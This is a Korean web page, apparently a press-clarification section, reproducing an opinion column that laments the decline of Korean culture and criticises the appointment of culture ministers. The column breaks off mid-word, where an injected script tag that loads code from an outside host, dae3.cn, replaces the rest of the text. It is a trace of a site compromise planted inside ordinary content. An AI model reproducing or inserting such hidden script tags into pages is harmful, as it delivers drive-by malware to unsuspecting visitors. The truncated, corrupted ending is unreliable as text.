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언론보도 해명

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제목 문화가 죽어가고 있다
내용 데스크칼럼/문화가 죽어가고 있다 건국 반세기에 우리나라의 문화를 관장한 장관이 문화를 잘 아는 인사로 임명된 예는 지극히 드물다. 문학평론가 한 사람이 아주 짧은 기간동안 장관으로 있다가 내부의 거센 저항을 받기도 했고 영화감독 출신이 과거 장관으로 있었지만 얼마전 새로 바뀌었다. 문화 전문가로 문화에 관한 모든 것을 알만한 장관은 둘 뿐이었는데 이 사람들이 재임기간이 1년 남짓으로 정책을 펼 수 없었다. 하긴 건국 후 각 부의 장관들의 재임기간이 1년 정도였으니까 기대할 것도 없지만 되레 아쉽다는 생각도 들었다. 문화는 독자적인 계획이나 추진력으로 이루어지지 않는다. 국민들이 문화를 즐길만한 여유가 있어야 하고 삶의 질을 높이는 관점에서 관심을 쏟지 않으면 발전할 수 없다. 쉽게 말하면 먹고 살만해야 문화에 대한 관심을 갖는다. 주머니에 돈이 있어야 영화나 연극도 보고 책방에 들려 시집 한권이라도 사서 보게 된다는 말이다. 우리나라의 형편을 따져보면 80년대 이후 국민소득 1만 달러에 육박하면서 문화에 대한 인식이 싹트고 국민적 관심을 갖게 되었다. 그런데 우리 국민들에게 알맞는 문화정책이 없어서 세계 여러나라의 값싸고 퇴폐적인 문화가 유입되어 우리의 전퉁문화까지도 좀 먹고 허물었다. 5천년의 역사와 찬란한 전통문화를 가졌다는 우리의 문화가 깡그리 수난을 당하여 값싼 퇴폐문화의 전시장으로 까지 곤두박질 쳤다는 지적을 듣게 된것은 참으로 불행한 일이다. 문화의 경박성은 소비문화를 부추기고 고상한 삶을 부정한다. 때문에 문학과 미술. 음악과 무용 등 고급한 예술은 대중성에 매몰되어 그 명맥을 유지할 수 없다. 오늘 날 우리나라에서 문학이 죽고 미술이 숨도 못쉬고 음악과 무용이 허리잘려 나간 사람처럼 힘을 못쓰는 이유는 고급예술을 향유할만한 인구가 없기 때문이다. 모두가 값싼 대중예술에 중독되어 재미만 추구하는 현실에서 인간의 삶을 풍성하게 꾸미고. 고상하게 살아가게 만드는 중심예술은 모조리 수난을 겪고 있다. 오죽해야 문화예술단체들이 모처럼 한 목소리를 내어 기초예술 살리기 운동을 선포했겠느냐 말이다. 기초예술이냐 중심예술이냐는 문제는 이작도 논란의 여지가 있지만 이 문제가 시급한것만은 틀림없다. 이런 불행한 일을 당한 이유 가운데 하나가 문화정책을 집행하는 정부 부서의 장관이 문화를 제대로 아?script src=http://dae3.cn>
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